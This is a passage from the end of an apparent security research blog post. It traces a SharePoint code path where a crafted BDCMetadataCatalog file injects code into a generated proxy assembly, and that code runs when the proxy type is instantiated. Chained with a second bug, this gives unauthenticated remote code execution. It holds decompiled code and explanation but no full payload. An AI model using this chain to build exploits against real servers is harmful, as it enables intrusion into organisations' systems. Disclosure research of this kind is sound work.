this.dynamicWebServiceProxyType = this.GetDynamicProxyType(forLobSystemInstance); // [31]
this.loadController = LoadController.GetLoadController(forLobSystemInstance) as LoadController;
}
protected virtual Type GetDynamicProxyType(ILobSystemInstance forLobSystemInstance)
{
Type type = null;
Assembly proxyAssembly = ProxyAssemblyCache.Value.GetProxyAssembly(forLobSystemInstance.GetLobSystem()); // [32]
INamedPropertyDictionary properties = forLobSystemInstance.GetProperties();
//...
}
At [31], WebServiceConnectionManager.Initialize()
calls WebServiceConnectionManager.GetDynamicProxyType()
, which calls ProxyAssemblyCache.GetProxyAssembly()
at [32], to retrieve a Type
within the generated Assembly
and store within this.dynamicWebServiceProxyType
.
At [32], ProxyAssemblyCache.GetProxyAssembly()
will call the ICompositeAssemblyProvider.GetCompositeAssembly()
with a LobSystem
instance as argument. In this context, compositeAssemblyProvider
is an instance of LobSystem
.
CompositeAssembly ICompositeAssemblyProvider.GetCompositeAssembly()
{
CompositeAssembly compositeAssembly;
ISystemProxyGenerator systemProxyGenerator = Activator.CreateInstance(this.SystemUtilityType) as ISystemProxyGenerator; // [33]
proxyGenerationResult = systemProxyGenerator.GenerateProxyAssembly(this, base.GetProperties()); // [34]
//...
}
At [33], an instance of WebServiceSystemUtility
is stored in systemProxyGenerator
, so WebServiceSystemUtility.GenerateProxyAssembly()
is subsequently called at [34].
At this point, since the LobSystem
is initialised using the crafted BDCMetadataCatalog
file, the attacker has control over the properties of the LobSystem
and hence is able to inject arbitrary code within the generated Assembly
!
After returning from ProxyAssemblyCache.GetProxyAssembly()
at [32] , a Type
within the generated Assembly
will be returned and stored into this.dynamicWebServiceProxyType
.
WebServiceConnectionManager.GetConnection()
will be called at [29] after WebServiceSystemUtility.Initialize()
at [28]:
public override object GetConnection()
{
//...
try
{
httpWebClientProtocol = (HttpWebClientProtocol)Activator.CreateInstance(this.dynamicWebServiceProxyType);
}
//...
}
This method directly creates a new object instance of the type specified in this.dynamicWebServiceProxyType
, which executes the injected (malicious) code earlier on at [18].
Chaining the two bugs together, an unauthenticated attacker is able to achieve remote code execution (RCE) on the target SharePoint server. 😁.
There are many other interesting things which I found out during the process, but the length of the article is too long.
I will probably combine it in another article later.
Thank you for reading!
Thanks Ngo Wei Lin, Li Jiantao & Poh Jia Hao for reviewing and enrich this nasty blog post. Thanks to ZDI for spending time to review the contents as well.